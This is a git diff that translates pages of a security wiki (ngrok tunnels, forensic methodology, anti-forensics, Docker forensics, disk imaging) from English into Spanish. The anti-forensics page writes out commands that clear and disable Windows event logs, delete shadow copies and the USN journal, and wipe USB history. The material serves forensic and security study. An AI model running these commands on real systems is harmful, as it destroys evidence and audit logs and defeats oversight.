```bash ./ngrok http localhost:8080 --host-header=rewrite # Example of resulting link: https://abcd-1-2-3-4.ngrok.io/ # With basic auth ./ngrok http localhost:8080 --host-header=rewrite --auth="myuser:mysuperpassword" ``` +#### ngrok.yaml ejemplo de configuración simple -#### ngrok.yaml simple configuration example - -It opens 3 tunnels: +Abre 3 túneles: - 2 TCP -- 1 HTTP with static files exposition from /tmp/httpbin/ - +- 1 HTTP con exposición de archivos estáticos desde /tmp/httpbin/ ```yaml tunnels: - mytcp: - addr: 4444 - proto: tcptunne - anothertcp: - addr: 5555 - proto: tcp - httpstatic: - proto: http - addr: file:///tmp/httpbin/ +mytcp: +addr: 4444 +proto: tcptunne +anothertcp: +addr: 5555 +proto: tcp +httpstatic: +proto: http +addr: file:///tmp/httpbin/ ``` - -## Other tools to check +## Otras herramientas para verificar - [https://github.com/securesocketfunneling/ssf](https://github.com/securesocketfunneling/ssf) - [https://github.com/z3APA3A/3proxy](https://github.com/z3APA3A/3proxy) diff --git a/src/generic-methodologies-and-resources/basic-forensic-methodology/README.md b/src/generic-methodologies-and-resources/basic-forensic-methodology/README.md index e725dfa85..3455e9ba2 100644 --- a/src/generic-methodologies-and-resources/basic-forensic-methodology/README.md +++ b/src/generic-methodologies-and-resources/basic-forensic-methodology/README.md @@ -1,30 +1,30 @@ -# Basic Forensic Methodology +# Metodología Forense Básica {{#include ../../banners/hacktricks-training.md}} -## Creating and Mounting an Image +## Creación y Montaje de una Imagen {{#ref}} ../../generic-methodologies-and-resources/basic-forensic-methodology/image-acquisition-and-mount.md {{#endref}} -## Malware Analysis +## Análisis de Malware -This **isn't necessary the first step to perform once you have the image**. But you can use this malware analysis techniques independently if you have a file, a file-system image, memory image, pcap... so it's good to **keep these actions in mind**: +Esto **no es necesariamente el primer paso a realizar una vez que tienes la imagen**. Pero puedes usar estas técnicas de análisis de malware de forma independiente si tienes un archivo, una imagen de sistema de archivos, imagen de memoria, pcap... así que es bueno **tener en cuenta estas acciones**: {{#ref}} malware-analysis.md {{#endref}} -## Inspecting an Image +## Inspección de una Imagen -if you are given a **forensic image** of a device you can start **analyzing the partitions, file-system** used and **recovering** potentially **interesting files** (even deleted ones). Learn how in: +Si se te proporciona una **imagen forense** de un dispositivo, puedes comenzar **a analizar las particiones, el sistema de archivos** utilizado y **recuperar** potencialmente **archivos interesantes** (incluso los eliminados). Aprende cómo en: {{#ref}} partitions-file-systems-carving/ {{#endref}} -Depending on the used OSs and even platform different interesting artifacts should be searched: +Dependiendo de los sistemas operativos utilizados e incluso de la plataforma, se deben buscar diferentes artefactos interesantes: {{#ref}} windows-forensics/ @@ -38,42 +38,42 @@ linux-forensics.md docker-forensics.md {{#endref}} -## Deep inspection of specific file-types and Software +## Inspección profunda de tipos de archivos específicos y Software -If you have very **suspicious** **file**, then **depending on the file-type and software** that created it several **tricks** may be useful.\ -Read the following page to learn some interesting tricks: +Si tienes un **archivo** muy **sospechoso**, entonces **dependiendo del tipo de archivo y del software** que lo creó, varios **trucos** pueden ser útiles.\ +Lee la siguiente página para aprender algunos trucos interesantes: {{#ref}} specific-software-file-type-tricks/ {{#endref}} -I want to do a special mention to the page: +Quiero hacer una mención especial a la página: {{#ref}} specific-software-file-type-tricks/browser-artifacts.md {{#endref}} -## Memory Dump Inspection +## Inspección de Volcado de Memoria {{#ref}} memory-dump-analysis/ {{#endref}} -## Pcap Inspection +## Inspección de Pcap {{#ref}} pcap-inspection/ {{#endref}} -## **Anti-Forensic Techniques** +## **Técnicas Anti-Forenses** -Keep in mind the possible use of anti-forensic techniques: +Ten en cuenta el posible uso de técnicas anti-forenses: {{#ref}} anti-forensic-techniques.md {{#endref}} -## Threat Hunting +## Caza de Amenazas {{#ref}} file-integrity-monitoring.md diff --git a/src/generic-methodologies-and-resources/basic-forensic-methodology/anti-forensic-techniques.md b/src/generic-methodologies-and-resources/basic-forensic-methodology/anti-forensic-techniques.md index 94a381b98..45a65c3a7 100644 --- a/src/generic-methodologies-and-resources/basic-forensic-methodology/anti-forensic-techniques.md +++ b/src/generic-methodologies-and-resources/basic-forensic-methodology/anti-forensic-techniques.md @@ -1,152 +1,152 @@ -# Anti-Forensic Techniques +# Técnicas Anti-forenses {{#include ../../banners/hacktricks-training.md}} ## Timestamps -An attacker may be interested in **changing the timestamps of files** to avoid being detected.\ -It's possible to find the timestamps inside the MFT in attributes `$STANDARD_INFORMATION` \_\_ and \_\_ `$FILE_NAME`. +Un atacante puede estar interesado en **cambiar las marcas de tiempo de los archivos** para evitar ser detectado.\ +Es posible encontrar las marcas de tiempo dentro del MFT en los atributos `$STANDARD_INFORMATION` \_\_ y \_\_ `$FILE_NAME`. -Both attributes have 4 timestamps: **Modification**, **access**, **creation**, and **MFT registry modification** (MACE or MACB). +Ambos atributos tienen 4 marcas de tiempo: **Modificación**, **acceso**, **creación** y **modificación del registro MFT** (MACE o MACB). -**Windows explorer** and other tools show the information from **`$STANDARD_INFORMATION`**. +**Windows explorer** y otras herramientas muestran la información de **`$STANDARD_INFORMATION`**. -### TimeStomp - Anti-forensic Tool +### TimeStomp - Herramienta anti-forense -This tool **modifies** the timestamp information inside **`$STANDARD_INFORMATION`** **but** **not** the information inside **`$FILE_NAME`**. Therefore, it's possible to **identify** **suspicious** **activity**. +Esta herramienta **modifica** la información de la marca de tiempo dentro de **`$STANDARD_INFORMATION`** **pero** **no** la información dentro de **`$FILE_NAME`**. Por lo tanto, es posible **identificar** **actividad** **sospechosa**. ### Usnjrnl -The **USN Journal** (Update Sequence Number Journal) is a feature of the NTFS (Windows NT file system) that keeps track of volume changes. The [**UsnJrnl2Csv**](https://github.com/jschicht/UsnJrnl2Csv) tool allows for the examination of these changes. +El **USN Journal** (Journal de Número de Secuencia de Actualización) es una característica del NTFS (sistema de archivos de Windows NT) que rastrea los cambios en el volumen. La herramienta [**UsnJrnl2Csv**](https://github.com/jschicht/UsnJrnl2Csv) permite examinar estos cambios. ![](<../../images/image (801).png>) -The previous image is the **output** shown by the **tool** where it can be observed that some **changes were performed** to the file. +La imagen anterior es la **salida** mostrada por la **herramienta** donde se puede observar que se **realizaron algunos cambios** en el archivo. ### $LogFile -**All metadata changes to a file system are logged** in a process known as [write-ahead logging](https://en.wikipedia.org/wiki/Write-ahead_logging). The logged metadata is kept in a file named `**$LogFile**`, located in the root directory of an NTFS file system. Tools such as [LogFileParser](https://github.com/jschicht/LogFileParser) can be used to parse this file and identify changes. +**Todos los cambios de metadatos en un sistema de archivos se registran** en un proceso conocido como [write-ahead logging](https://en.wikipedia.org/wiki/Write-ahead_logging). Los metadatos registrados se mantienen en un archivo llamado `**$LogFile**`, ubicado en el directorio raíz de un sistema de archivos NTFS. Herramientas como [LogFileParser](https://github.com/jschicht/LogFileParser) se pueden usar para analizar este archivo e identificar cambios. ![](<../../images/image (137).png>) -Again, in the output of the tool it's possible to see that **some changes were performed**. +Nuevamente, en la salida de la herramienta es posible ver que **se realizaron algunos cambios**. -Using the same tool it's possible to identify to **which time the timestamps were modified**: +Usando la misma herramienta es posible identificar **a qué hora se modificaron las marcas de tiempo**: ![](<../../images/image (1089).png>) -- CTIME: File's creation time -- ATIME: File's modification time -- MTIME: File's MFT registry modification -- RTIME: File's access time +- CTIME: Hora de creación del archivo +- ATIME: Hora de modificación del archivo +- MTIME: Modificación del registro MFT del archivo +- RTIME: Hora de acceso del archivo -### `$STANDARD_INFORMATION` and `$FILE_NAME` comparison +### Comparación de `$STANDARD_INFORMATION` y `$FILE_NAME` -Another way to identify suspicious modified files would be to compare the time on both attributes looking for **mismatches**. +Otra forma de identificar archivos modificados sospechosos sería comparar el tiempo en ambos atributos buscando **incongruencias**. -### Nanoseconds +### Nanosegundos -**NTFS** timestamps have a **precision** of **100 nanoseconds**. Then, finding files with timestamps like 2010-10-10 10:10:**00.000:0000 is very suspicious**. +Las marcas de tiempo de **NTFS** tienen una **precisión** de **100 nanosegundos**. Por lo tanto, encontrar archivos con marcas de tiempo como 2010-10-10 10:10:**00.000:0000 es muy sospechoso**. -### SetMace - Anti-forensic Tool +### SetMace - Herramienta anti-forense -This tool can modify both attributes `$STARNDAR_INFORMATION` and `$FILE_NAME`. However, from Windows Vista, it's necessary for a live OS to modify this information. +Esta herramienta puede modificar ambos atributos `$STARNDAR_INFORMATION` y `$FILE_NAME`. Sin embargo, desde Windows Vista, es necesario que un sistema operativo en vivo modifique esta información. -## Data Hiding +## Ocultamiento de Datos -NFTS uses a cluster and the minimum information size. That means that if a file occupies uses and cluster and a half, the **reminding half is never going to be used** until the file is deleted. Then, it's possible to **hide data in this slack space**. +NFTS utiliza un clúster y el tamaño mínimo de información. Eso significa que si un archivo ocupa un clúster y medio, la **mitad restante nunca se utilizará** hasta que se elimine el archivo. Entonces, es posible **ocultar datos en este espacio de holgura**. -There are tools like slacker that allow hiding data in this "hidden" space. However, an analysis of the `$logfile` and `$usnjrnl` can show that some data was added: +Hay herramientas como slacker que permiten ocultar datos en este espacio "oculto". Sin embargo, un análisis del `$logfile` y `$usnjrnl` puede mostrar que se añadieron algunos datos: ![](<../../images/image (1060).png>) -Then, it's possible to retrieve the slack space using tools like FTK Imager. Note that this kind of tool can save the content obfuscated or even encrypted. +Entonces, es posible recuperar el espacio de holgura usando herramientas como FTK Imager. Tenga en cuenta que este tipo de herramienta puede guardar el contenido ofuscado o incluso cifrado. ## UsbKill -This is a tool that will **turn off the computer if any change in the USB** ports is detected.\ -A way to discover this would be to inspect the running processes and **review each python script running**. +Esta es una herramienta que **apagará la computadora si se detecta algún cambio en los puertos USB**.\ +Una forma de descubrir esto sería inspeccionar los procesos en ejecución y **revisar cada script de python en ejecución**. -## Live Linux Distributions +## Distribuciones de Linux en Vivo -These distros are **executed inside the RAM** memory. The only way to detect them is **in case the NTFS file-system is mounted with write permissions**. If it's mounted just with read permissions it won't be possible to detect the intrusion. +Estas distribuciones se **ejecutan dentro de la memoria RAM**. La única forma de detectarlas es **en caso de que el sistema de archivos NTFS esté montado con permisos de escritura**. Si está montado solo con permisos de lectura, no será posible detectar la intrusión. -## Secure Deletion +## Eliminación Segura [https://github.com/Claudio-C/awesome-data-sanitization](https://github.com/Claudio-C/awesome-data-sanitization) -## Windows Configuration +## Configuración de Windows -It's possible to disable several windows logging methods to make the forensics investigation much harder. +Es posible deshabilitar varios métodos de registro de Windows para dificultar mucho la investigación forense. -### Disable Timestamps - UserAssist +### Deshabilitar Marcas de Tiempo - UserAssist -This is a registry key that maintains dates and hours when each executable was run by the user. +Esta es una clave de registro que mantiene las fechas y horas en que cada ejecutable fue ejecutado por el usuario. -Disabling UserAssist requires two steps: +Deshabilitar UserAssist requiere dos pasos: -1. Set two registry keys, `HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Advanced\Start_TrackProgs` and `HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Advanced\Start_TrackEnabled`, both to zero in order to signal that we want UserAssist disabled. -2. Clear your registry subtrees that look like `HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\`. +1. Establecer dos claves de registro, `HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Advanced\Start_TrackProgs` y `HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Advanced\Start_TrackEnabled`, ambas a cero para señalar que queremos deshabilitar UserAssist. +2. Limpiar sus subárboles de registro que se parecen a `HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\`. -### Disable Timestamps - Prefetch +### Deshabilitar Marcas de Tiempo - Prefetch -This will save information about the applications executed with the goal of improving the performance of the Windows system. However, this can also be useful for forensics practices. +Esto guardará información sobre las aplicaciones ejecutadas con el objetivo de mejorar el rendimiento del sistema Windows. Sin embargo, esto también puede ser útil para prácticas forenses. -- Execute `regedit` -- Select the file path `HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\SessionManager\Memory Management\PrefetchParameters` -- Right-click on both `EnablePrefetcher` and `EnableSuperfetch` -- Select Modify on each of these to change the value from 1 (or 3) to 0 -- Restart +- Ejecutar `regedit` +- Seleccionar la ruta del archivo `HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\SessionManager\Memory Management\PrefetchParameters` +- Hacer clic derecho en `EnablePrefetcher` y `EnableSuperfetch` +- Seleccionar Modificar en cada uno de estos para cambiar el valor de 1 (o 3) a 0 +- Reiniciar -### Disable Timestamps - Last Access Time +### Deshabilitar Marcas de Tiempo - Última Hora de Acceso -Whenever a folder is opened from an NTFS volume on a Windows NT server, the system takes the time to **update a timestamp field on each listed folder**, called the last access time. On a heavily used NTFS volume, this can affect performance. +Cada vez que se abre una carpeta desde un volumen NTFS en un servidor Windows NT, el sistema toma el tiempo para **actualizar un campo de marca de tiempo en cada carpeta listada**, llamado la última hora de acceso. En un volumen NTFS muy utilizado, esto puede afectar el rendimiento. -1. Open the Registry Editor (Regedit.exe). -2. Browse to `HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\FileSystem`. -3. Look for `NtfsDisableLastAccessUpdate`. If it doesn’t exist, add this DWORD and set its value to 1, which will disable the process. -4. Close the Registry Editor, and reboot the server. +1. Abra el Editor del Registro (Regedit.exe). +2. Navegue a `HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\FileSystem`. +3. Busque `NtfsDisableLastAccessUpdate`. Si no existe, agregue este DWORD y establezca su valor en 1, lo que deshabilitará el proceso. +4. Cierre el Editor del Registro y reinicie el servidor. -### Delete USB History +### Eliminar Historial de USB -All the **USB Device Entries** are stored in Windows Registry Under the **USBSTOR** registry key that contains sub keys which are created whenever you plug a USB Device into your PC or Laptop. You can find this key here H`KEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Enum\USBSTOR`. **Deleting this** you will delete the USB history.\ -You may also use the tool [**USBDeview**](https://www.nirsoft.net/utils/usb_devices_view.html) to be sure you have deleted them (and to delete them). +Todas las **Entradas de Dispositivos USB** se almacenan en el Registro de Windows bajo la clave de registro **USBSTOR** que contiene subclaves que se crean cada vez que conecta un dispositivo USB a su PC o Laptop. Puede encontrar esta clave aquí `HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Enum\USBSTOR`. **Eliminando esto** eliminará el historial de USB.\ +También puede usar la herramienta [**USBDeview**](https://www.nirsoft.net/utils/usb_devices_view.html) para asegurarse de que los ha eliminado (y para eliminarlos). -Another file that saves information about the USBs is the file `setupapi.dev.log` inside `C:\Windows\INF`. This should also be deleted. +Otro archivo que guarda información sobre los USB es el archivo `setupapi.dev.log` dentro de `C:\Windows\INF`. Este también debe ser eliminado. -### Disable Shadow Copies +### Deshabilitar Copias de Sombra -**List** shadow copies with `vssadmin list shadowstorage`\ -**Delete** them running `vssadmin delete shadow` +**Listar** copias de sombra con `vssadmin list shadowstorage`\ +**Eliminarlas** ejecutando `vssadmin delete shadow` -You can also delete them via GUI following the steps proposed in [https://www.ubackup.com/windows-10/how-to-delete-shadow-copies-windows-10-5740.html](https://www.ubackup.com/windows-10/how-to-delete-shadow-copies-windows-10-5740.html) +También puede eliminarlas a través de la GUI siguiendo los pasos propuestos en [https://www.ubackup.com/windows-10/how-to-delete-shadow-copies-windows-10-5740.html](https://www.ubackup.com/windows-10/how-to-delete-shadow-copies-windows-10-5740.html) -To disable shadow copies [steps from here](https://support.waters.com/KB_Inf/Other/WKB15560_How_to_disable_Volume_Shadow_Copy_Service_VSS_in_Windows): +Para deshabilitar las copias de sombra [pasos desde aquí](https://support.waters.com/KB_Inf/Other/WKB15560_How_to_disable_Volume_Shadow_Copy_Service_VSS_in_Windows): -1. Open the Services program by typing "services" into the text search box after clicking the Windows start button. -2. From the list, find "Volume Shadow Copy", select it, and then access Properties by right-clicking. -3. Choose Disabled from the "Startup type" drop-down menu, and then confirm the change by clicking Apply and OK. +1. Abra el programa Servicios escribiendo "services" en el cuadro de búsqueda de texto después de hacer clic en el botón de inicio de Windows. +2. En la lista, busque "Copia de Sombra de Volumen", selecciónelo y luego acceda a Propiedades haciendo clic derecho. +3. Elija Deshabilitado en el menú desplegable "Tipo de inicio" y luego confirme el cambio haciendo clic en Aplicar y Aceptar. -It's also possible to modify the configuration of which files are going to be copied in the shadow copy in the registry `HKLM\SYSTEM\CurrentControlSet\Control\BackupRestore\FilesNotToSnapshot` +También es posible modificar la configuración de qué archivos se van a copiar en la copia de sombra en el registro `HKLM\SYSTEM\CurrentControlSet\Control\BackupRestore\FilesNotToSnapshot` -### Overwrite deleted files +### Sobrescribir archivos eliminados -- You can use a **Windows tool**: `cipher /w:C` This will indicate cipher to remove any data from the available unused disk space inside the C drive. -- You can also use tools like [**Eraser**](https://eraser.heidi.ie) +- Puede usar una **herramienta de Windows**: `cipher /w:C` Esto indicará a cipher que elimine cualquier dato del espacio de disco no utilizado disponible dentro de la unidad C. +- También puede usar herramientas como [**Eraser**](https://eraser.heidi.ie) -### Delete Windows event logs +### Eliminar registros de eventos de Windows -- Windows + R --> eventvwr.msc --> Expand "Windows Logs" --> Right click each category and select "Clear Log" +- Windows + R --> eventvwr.msc --> Expandir "Registros de Windows" --> Hacer clic derecho en cada categoría y seleccionar "Borrar Registro" - `for /F "tokens=*" %1 in ('wevtutil.exe el') DO wevtutil.exe cl "%1"` - `Get-EventLog -LogName * | ForEach { Clear-EventLog $_.Log }` -### Disable Windows event logs +### Deshabilitar registros de eventos de Windows - `reg add 'HKLM\SYSTEM\CurrentControlSet\Services\eventlog' /v Start /t REG_DWORD /d 4 /f` -- Inside the services section disable the service "Windows Event Log" -- `WEvtUtil.exec clear-log` or `WEvtUtil.exe cl` +- Dentro de la sección de servicios, deshabilite el servicio "Registro de Eventos de Windows" +- `WEvtUtil.exec clear-log` o `WEvtUtil.exe cl` -### Disable $UsnJrnl +### Deshabilitar $UsnJrnl - `fsutil usn deletejournal /d c:` diff --git a/src/generic-methodologies-and-resources/basic-forensic-methodology/docker-forensics.md b/src/generic-methodologies-and-resources/basic-forensic-methodology/docker-forensics.md index 629251985..bc9ade5bf 100644 --- a/src/generic-methodologies-and-resources/basic-forensic-methodology/docker-forensics.md +++ b/src/generic-methodologies-and-resources/basic-forensic-methodology/docker-forensics.md @@ -2,24 +2,16 @@ {{#include ../../banners/hacktricks-training.md}} -
-Deepen your expertise in **Mobile Security** with 8kSec Academy. Master iOS and Android security through our self-paced courses and get certified: - -{% embed url="https://academy.8ksec.io/" %} - -## Container modification - -There are suspicions that some docker container was compromised: +## Modificación de contenedores +Existen sospechas de que algún contenedor de docker fue comprometido: ```bash docker ps CONTAINER ID IMAGE COMMAND CREATED STATUS PORTS NAMES cc03e43a052a lamp-wordpress "./run.sh" 2 minutes ago Up 2 minutes 80/tcp wordpress ``` - -You can easily **find the modifications done to this container with regards to the image** with: - +Puedes fácilmente **encontrar las modificaciones realizadas a este contenedor con respecto a la imagen** con: ```bash docker diff wordpress C /var @@ -33,70 +25,52 @@ A /var/lib/mysql/mysql/time_zone_leap_second.MYI A /var/lib/mysql/mysql/general_log.CSV ... ``` - -In the previous command **C** means **Changed** and **A,** **Added**.\ -If you find that some interesting file like `/etc/shadow` was modified you can download it from the container to check for malicious activity with: - +En el comando anterior, **C** significa **Cambiado** y **A,** **Agregado**.\ +Si encuentras que algún archivo interesante como `/etc/shadow` fue modificado, puedes descargarlo del contenedor para verificar actividad maliciosa con: ```bash docker cp wordpress:/etc/shadow. ``` - -You can also **compare it with the original one** running a new container and extracting the file from it: - +También puedes **compararlo con el original** ejecutando un nuevo contenedor y extrayendo el archivo de él: ```bash docker run -d lamp-wordpress docker cp b5d53e8b468e:/etc/shadow original_shadow #Get the file from the newly created container diff original_shadow shadow ``` - -If you find that **some suspicious file was added** you can access the container and check it: - +Si encuentras que **se añadió algún archivo sospechoso** puedes acceder al contenedor y verificarlo: ```bash docker exec -it wordpress bash ``` +## Modificaciones de imágenes -## Images modifications - -When you are given an exported docker image (probably in `.tar` format) you can use [**container-diff**](https://github.com/GoogleContainerTools/container-diff/releases) to **extract a summary of the modifications**: - +Cuando se te proporciona una imagen de docker exportada (probablemente en formato `.tar`), puedes usar [**container-diff**](https://github.com/GoogleContainerTools/container-diff/releases) para **extraer un resumen de las modificaciones**: ```bash docker save > image.tar #Export the image to a .tar file container-diff analyze -t sizelayer image.tar container-diff analyze -t history image.tar container-diff analyze -t metadata image.tar ``` - -Then, you can **decompress** the image and **access the blobs** to search for suspicious files you may have found in the changes history: - +Luego, puedes **descomprimir** la imagen y **acceder a los blobs** para buscar archivos sospechosos que puedas haber encontrado en el historial de cambios: ```bash tar -xf image.tar ``` +### Análisis Básico -### Basic Analysis - -You can get **basic information** from the image running: - +Puedes obtener **información básica** de la imagen ejecutando: ```bash docker inspect ``` - -You can also get a summary **history of changes** with: - +También puedes obtener un resumen **historia de cambios** con: ```bash docker history --no-trunc ``` - -You can also generate a **dockerfile from an image** with: - +También puedes generar un **dockerfile a partir de una imagen** con: ```bash alias dfimage="docker run -v /var/run/docker.sock:/var/run/docker.sock --rm alpine/dfimage" dfimage -sV=1.36 madhuakula/k8s-goat-hidden-in-layers> ``` - ### Dive -In order to find added/modified files in docker images you can also use the [**dive**](https://github.com/wagoodman/dive) (download it from [**releases**](https://github.com/wagoodman/dive/releases/tag/v0.10.0)) utility: - +Para encontrar archivos añadidos/modificados en imágenes de docker, también puedes usar la [**dive**](https://github.com/wagoodman/dive) (descárgalo de [**releases**](https://github.com/wagoodman/dive/releases/tag/v0.10.0)): ```bash #First you need to load the image in your docker repo sudo docker load < image.tar 1 ⨯ @@ -105,27 +79,19 @@ Loaded image: flask:latest #And then open it with dive: sudo dive flask:latest ``` +Esto te permite **navegar a través de los diferentes blobs de imágenes de docker** y verificar qué archivos fueron modificados/agregados. **Rojo** significa agregado y **amarillo** significa modificado. Usa **tab** para moverte a la otra vista y **space** para colapsar/abrir carpetas. -This allows you to **navigate through the different blobs of docker images** and check which files were modified/added. **Red** means added and **yellow** means modified. Use **tab** to move to the other view and **space** to collapse/open folders. - -With die you won't be able to access the content of the different stages of the image. To do so you will need to **decompress each layer and access it**.\ -You can decompress all the layers from an image from the directory where the image was decompressed executing: - +Con die no podrás acceder al contenido de las diferentes etapas de la imagen. Para hacerlo, necesitarás **descomprimir cada capa y acceder a ella**.\ +Puedes descomprimir todas las capas de una imagen desde el directorio donde se descomprimió la imagen ejecutando: ```bash tar -xf image.tar for d in `find * -maxdepth 0 -type d`; do cd $d; tar -xf ./layer.tar; cd ..; done ``` +## Credenciales de la memoria -## Credentials from memory +Ten en cuenta que cuando ejecutas un contenedor de docker dentro de un host **puedes ver los procesos que se están ejecutando en el contenedor desde el host** simplemente ejecutando `ps -ef` -Note that when you run a docker container inside a host **you can see the processes running on the container from the host** just running `ps -ef` +Por lo tanto (como root) puedes **volcar la memoria de los procesos** desde el host y buscar **credenciales** [**como en el siguiente ejemplo**](../../linux-hardening/privilege-escalation/#process-memory). -Therefore (as root) you can **dump the memory of the processes** from the host and search for **credentials** just [**like in the following example**](../../linux-hardening/privilege-escalation/#process-memory). - -
- -Deepen your expertise in **Mobile Security** with 8kSec Academy. Master iOS and Android security through our self-paced courses and get certified: - -{% embed url="https://academy.8ksec.io/" %} {{#include ../../banners/hacktricks-training.md}} diff --git a/src/generic-methodologies-and-resources/basic-forensic-methodology/file-integrity-monitoring.md b/src/generic-methodologies-and-resources/basic-forensic-methodology/file-integrity-monitoring.md index 214b917cf..d73e88fa1 100644 --- a/src/generic-methodologies-and-resources/basic-forensic-methodology/file-integrity-monitoring.md +++ b/src/generic-methodologies-and-resources/basic-forensic-methodology/file-integrity-monitoring.md @@ -1,25 +1,25 @@ {{#include ../../banners/hacktricks-training.md}} -# Baseline +# Línea base -A baseline consists of taking a snapshot of certain parts of a system to **compare it with a future status to highlight changes**. +Una línea base consiste en tomar una instantánea de ciertas partes de un sistema para **compararla con un estado futuro para resaltar cambios**. -For example, you can calculate and store the hash of each file of the filesystem to be able to find out which files were modified.\ -This can also be done with the user accounts created, processes running, services running and any other thing that shouldn't change much, or at all. +Por ejemplo, puedes calcular y almacenar el hash de cada archivo del sistema de archivos para poder averiguar qué archivos fueron modificados.\ +Esto también se puede hacer con las cuentas de usuario creadas, procesos en ejecución, servicios en ejecución y cualquier otra cosa que no debería cambiar mucho, o en absoluto. -## File Integrity Monitoring +## Monitoreo de Integridad de Archivos -File Integrity Monitoring (FIM) is a critical security technique that protects IT environments and data by tracking changes in files. It involves two key steps: +El Monitoreo de Integridad de Archivos (FIM) es una técnica de seguridad crítica que protege los entornos de TI y los datos al rastrear cambios en los archivos. Implica dos pasos clave: -1. **Baseline Comparison:** Establish a baseline using file attributes or cryptographic checksums (like MD5 or SHA-2) for future comparisons to detect modifications. -2. **Real-Time Change Notification:** Get instant alerts when files are accessed or altered, typically through OS kernel extensions. +1. **Comparación de Línea Base:** Establecer una línea base utilizando atributos de archivo o sumas de verificación criptográficas (como MD5 o SHA-2) para comparaciones futuras y detectar modificaciones. +2. **Notificación de Cambio en Tiempo Real:** Recibir alertas instantáneas cuando los archivos son accedidos o alterados, típicamente a través de extensiones del kernel del sistema operativo. -## Tools +## Herramientas - [https://github.com/topics/file-integrity-monitoring](https://github.com/topics/file-integrity-monitoring) - [https://www.solarwinds.com/security-event-manager/use-cases/file-integrity-monitoring-software](https://www.solarwinds.com/security-event-manager/use-cases/file-integrity-monitoring-software) -## References +## Referencias - [https://cybersecurity.att.com/blogs/security-essentials/what-is-file-integrity-monitoring-and-why-you-need-it](https://cybersecurity.att.com/blogs/security-essentials/what-is-file-integrity-monitoring-and-why-you-need-it) diff --git a/src/generic-methodologies-and-resources/basic-forensic-methodology/image-acquisition-and-mount.md b/src/generic-methodologies-and-resources/basic-forensic-methodology/image-acquisition-and-mount.md index a95a3bbff..cc965e03e 100644 --- a/src/generic-methodologies-and-resources/basic-forensic-methodology/image-acquisition-and-mount.md +++ b/src/generic-methodologies-and-resources/basic-forensic-methodology/image-acquisition-and-mount.md @@ -1,40 +1,30 @@ -# Image Acquisition & Mount +# Adquisición de Imágenes & Montaje {{#include ../../banners/hacktricks-training.md}} -
-{% embed url="https://websec.nl/" %} - -## Acquisition +## Adquisición ### DD - ```bash #This will generate a raw copy of the disk dd if=/dev/sdb of=disk.img ``` - ### dcfldd - ```bash #Raw copy with hashes along the way (more secur as it checks hashes while it's copying the data) dcfldd if= of= bs=512 hash= hashwindow= hashlog= dcfldd if=/dev/sdc of=/media/usb/pc.image hash=sha256 hashwindow=1M hashlog=/media/usb/pc.hashes ``` - ### FTK Imager -You can [**download the FTK imager from here**](https://accessdata.com/product-download/debian-and-ubuntu-x64-3-1-1). - +Puedes [**descargar el FTK imager desde aquí**](https://accessdata.com/product-download/debian-and-ubuntu-x64-3-1-1). ```bash ftkimager /dev/sdb evidence --e01 --case-number 1 --evidence-number 1 --description 'A description' --examiner 'Your name' ``` - ### EWF -You can generate a disk image using the[ **ewf tools**](https://github.com/libyal/libewf). - +Puedes generar una imagen de disco usando las [**ewf tools**](https://github.com/libyal/libewf). ```bash ewfacquire /dev/sdb #Name: evidence @@ -51,15 +41,13 @@ ewfacquire /dev/sdb #Then use default values #It will generate the disk image in the current directory ``` +## Montar -## Mount +### Varios tipos -### Several types - -In **Windows** you can try to use the free version of Arsenal Image Mounter ([https://arsenalrecon.com/downloads/](https://arsenalrecon.com/downloads/)) to **mount the forensics image**. +En **Windows** puedes intentar usar la versión gratuita de Arsenal Image Mounter ([https://arsenalrecon.com/downloads/](https://arsenalrecon.com/downloads/)) para **montar la imagen forense**. ### Raw - ```bash #Get file type file evidence.img @@ -68,9 +56,7 @@ evidence.img: Linux rev 1.0 ext4 filesystem data, UUID=1031571c-f398-4bfb-a414-b #Mount it mount evidence.img /mnt ``` - ### EWF - ```bash #Get file type file evidence.E01 @@ -85,16 +71,14 @@ output/ewf1: Linux rev 1.0 ext4 filesystem data, UUID=05acca66-d042-4ab2-9e9c-be #Mount mount output/ewf1 -o ro,norecovery /mnt ``` - ### ArsenalImageMounter -It's a Windows Application to mount volumes. You can download it here [https://arsenalrecon.com/downloads/](https://arsenalrecon.com/downloads/) +Es una aplicación de Windows para montar volúmenes. Puedes descargarla aquí [https://arsenalrecon.com/downloads/](https://arsenalrecon.com/downloads/) -### Errors - -- **`cannot mount /dev/loop0 read-only`** in this case you need to use the flags **`-o ro,norecovery`** -- **`wrong fs type, bad option, bad superblock on /dev/loop0, missing codepage or helper program, or other error.`** in this case the mount failed due as the offset of the filesystem is different than that of the disk image. You need to find the Sector size and the Start sector: +### Errores +- **`cannot mount /dev/loop0 read-only`** en este caso necesitas usar las flags **`-o ro,norecovery`** +- **`wrong fs type, bad option, bad superblock on /dev/loop0, missing codepage or helper program, or other error.`** en este caso el montaje falló debido a que el desplazamiento del sistema de archivos es diferente al de la imagen del disco. Necesitas encontrar el tamaño del sector y el sector de inicio: ```bash fdisk -l disk.img Disk disk.img: 102 MiB, 106954648 bytes, 208896 sectors @@ -107,15 +91,8 @@ Disk identifier: 0x00495395 Device Boot Start End Sectors Size Id Type disk.img1 2048 208895 206848 101M 1 FAT12 ``` - -Note that sector size is **512** and start is **2048**. Then mount the image like this: - +Tenga en cuenta que el tamaño del sector es **512** y el inicio es **2048**. Luego monte la imagen de esta manera: ```bash mount disk.img /mnt -o ro,offset=$((2048*512)) ``` - -
